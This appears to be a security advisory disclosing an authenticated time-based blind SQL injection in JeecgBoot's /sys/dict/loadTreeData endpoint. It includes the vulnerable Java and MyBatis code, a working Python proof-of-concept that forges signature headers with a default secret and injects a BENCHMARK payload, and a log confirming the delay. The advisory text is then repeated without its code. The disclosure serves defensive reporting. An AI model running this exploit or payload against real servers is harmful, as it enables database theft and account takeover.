Advisory Details
Title: Time-Based SQL Injection in sys/dict/loadTreeData via condition JSON Parameter
Description:
Summary
An authenticated Time-Based SQL Injection vulnerability exists in the /sys/dict/loadTreeData endpoint. The condition parameter accepts a JSON map, but while the map's keys are validated, the values are inserted into SQL queries without proper sanitization. This allows an authenticated attacker to execute arbitrary SQL commands (via time-delay payloads since error reflections are masked by the application), potentially leading to complete data exfiltration and database compromise.
Details
The vulnerability resides within the tree data loading function, primarily processed by SysDictServiceImpl.queryTreeList() and mapped in SysDictMapper.xml.
When loadTreeData processes the condition JSON map string (representing ad-hoc table search conditions), it extracts each key-value pair. The application filters the key using SqlInjectionUtil.getSqlInjectField(fieldName) but completely omits checking searchItem.getValue().
Vulnerable code snippet (jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java):
for (Map.Entry<String, String> searchItem : query.entrySet()) {
String fieldName = searchItem.getKey();
// VULNERABILITY: searchItem.getValue() is NOT checked!
queryParams.put(SqlInjectionUtil.getSqlInjectField(fieldName), searchItem.getValue());
}
In the corresponding MyBatis mapper (jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml), the logic explicitly detects the internal key marker _tableFilterSql and directly interpolates the untreated ${value} into the SQL statement:
<when test="key == '_tableFilterSql'">
and ${value}
</when>
Because the global exception handler @ExceptionHandler(java.sql.SQLException.class) generically masks output from typical error-based injection functions (extractvalue, updatexml), an attacker must resort to Time-Based or Boolean-Based Blind SQL injection (e.g., using BENCHMARK) to accurately exfiltrate data.
PoC
To reproduce this vulnerability, we emulate the client-side Signature generation (X-Sign & X-TIMESTAMP) required by the system interceptor (SignAuthInterceptor).
- Ensure you have the application running and obtain a valid authenticated user token (
X-Access-Token) from the web UI.
- Save the following code as
poc_exploit.py:
import requests
import json
import time
import hashlib
import sys
def verify_sqli(target_url, token, use_delay=False):
if use_delay:
payload = {"_tableFilterSql": "1=1 AND (SELECT 1)=BENCHMARK(50000000,MD5(1))"}
else:
payload = {"_tableFilterSql": "1=1"}
condition_str = json.dumps(payload, separators=(',', ':'))
params = {
"code": "id",
"condition": condition_str,
"hasChildField": "has_child",
"pidField": "pid",
"tableName": "sys_category",
"text": "name"
}
# 1. JeecgBoot Signature Mechanism: sort map by key and compute MD5
sorted_params = dict(sorted(params.items()))
params_json_str = json.dumps(sorted_params, separators=(',', ':'), ensure_ascii=False)
secret = "dd05f1c54d63749eda95f9fa6d49v442a" # Default signature secret in configuration
sign_str = params_json_str + secret
sign = hashlib.md5(sign_str.encode('utf-8')).hexdigest().upper()
timestamp = str(int(time.time() * 1000))
headers = {
"X-Access-Token": token,
"X-TIMESTAMP": timestamp,
"X-Sign": sign
}
url = f"{target_url}/sys/dict/loadTreeData"
try:
start_time = time.time()
res = requests.get(url, headers=headers, params=params, timeout=25)
elapsed = time.time() - start_time
return elapsed, res.status_code, res.text
except requests.exceptions.ReadTimeout:
return 25.0, 0, "Timeout"
if __name__ == "__main__":
target = "http://127.0.0.1:8080/jeecg-boot"
token = input("Enter a valid authenticated X-Access-Token: ")
print("[*] Testing fast payload...")
elapsed_fast, status_fast, text_fast = verify_sqli(target, token, use_delay=False)
print(f"[+] Fast query took: {elapsed_fast:.2f} seconds.")
print("[*] Testing delay payload (BENCHMARK 50000000)...")
elapsed_delay, status_delay, text_delay = verify_sqli(target, token, use_delay=True)
print(f"[+] Delay query took: {elapsed_delay:.2f} seconds.")
if elapsed_delay > elapsed_fast + 2.0:
print("\n[SUCCESS] Time-delay SQL injection confirmed! The application executed the BENCHMARK function.")
else:
print("\n[BLOCKED] No significant time difference detected or injection was blocked.")
- Run the script:
python3 poc_exploit.py
Log of Evidence
Enter a valid authenticated X-Access-Token: eyJhbGciOiJIUzI1NiIs...
[*] Testing fast payload...
[+] Fast query took: 0.01 seconds.
[*] Testing delay payload (BENCHMARK 50000000)...
[+] Delay query took: 3.31 seconds.
[SUCCESS] Time-delay SQL injection confirmed! The application executed the BENCHMARK function.
Impact
This is a Time-Based Blind SQL Injection vulnerability affecting the database backend. Since it allows unrestricted interpolation into SQL conditions, an authenticated user (even with minimal privileges) can evaluate arbitrary SQL statements. This results in severe data exposure (Data Exfiltration) where the attacker can systematically read all backend tables (including sensitive records like sys_user hashed passwords) leading to privilege escalation, data breaches, and complete application take-over.
Affected products
- Ecosystem: maven
- Package name: org.jeecgframework.boot:jeecg-boot-module-system
- Affected versions: <= 3.5.3 (or applicable unpatched JeecgBoot branches containing
SysDictServiceImpl.queryTreeList without value sanitization)
- Patched versions:
Severity
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weaknesses
- CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Occurrences
| Permalink |
Description |
jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java |
The queryTreeList method extracts searchItem.getValue() without running it through SqlInjectionUtil.specialFilterContentForDictSql. |
jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml |
The _tableFilterSql key logic block allows direct ${value} string interpolation into the raw query condition mapping. |
Advisory Details
Title: Time-Based SQL Injection in
sys/dict/loadTreeDataviaconditionJSON ParameterDescription:
Summary
An authenticated Time-Based SQL Injection vulnerability exists in the
/sys/dict/loadTreeDataendpoint. Theconditionparameter accepts a JSON map, but while the map's keys are validated, the values are inserted into SQL queries without proper sanitization. This allows an authenticated attacker to execute arbitrary SQL commands (via time-delay payloads since error reflections are masked by the application), potentially leading to complete data exfiltration and database compromise.Details
The vulnerability resides within the tree data loading function, primarily processed by
SysDictServiceImpl.queryTreeList()and mapped inSysDictMapper.xml.When
loadTreeDataprocesses theconditionJSON map string (representing ad-hoc table search conditions), it extracts each key-value pair. The application filters thekeyusingSqlInjectionUtil.getSqlInjectField(fieldName)but completely omits checkingsearchItem.getValue().Vulnerable code snippet (
jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.java):In the corresponding MyBatis mapper (
jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml), the logic explicitly detects the internal key marker_tableFilterSqland directly interpolates the untreated${value}into the SQL statement:Because the global exception handler
@ExceptionHandler(java.sql.SQLException.class)generically masks output from typical error-based injection functions (extractvalue,updatexml), an attacker must resort to Time-Based or Boolean-Based Blind SQL injection (e.g., usingBENCHMARK) to accurately exfiltrate data.PoC
To reproduce this vulnerability, we emulate the client-side Signature generation (
X-Sign&X-TIMESTAMP) required by the system interceptor (SignAuthInterceptor).X-Access-Token) from the web UI.poc_exploit.py:python3 poc_exploit.pyLog of Evidence
Impact
This is a Time-Based Blind SQL Injection vulnerability affecting the database backend. Since it allows unrestricted interpolation into SQL conditions, an authenticated user (even with minimal privileges) can evaluate arbitrary SQL statements. This results in severe data exposure (Data Exfiltration) where the attacker can systematically read all backend tables (including sensitive records like
sys_userhashed passwords) leading to privilege escalation, data breaches, and complete application take-over.Affected products
SysDictServiceImpl.queryTreeListwithout value sanitization)Severity
Weaknesses
Occurrences
jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/service/impl/SysDictServiceImpl.javaqueryTreeListmethod extractssearchItem.getValue()without running it throughSqlInjectionUtil.specialFilterContentForDictSql.jeecg-module-system/jeecg-system-biz/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml_tableFilterSqlkey logic block allows direct${value}string interpolation into the raw query condition mapping.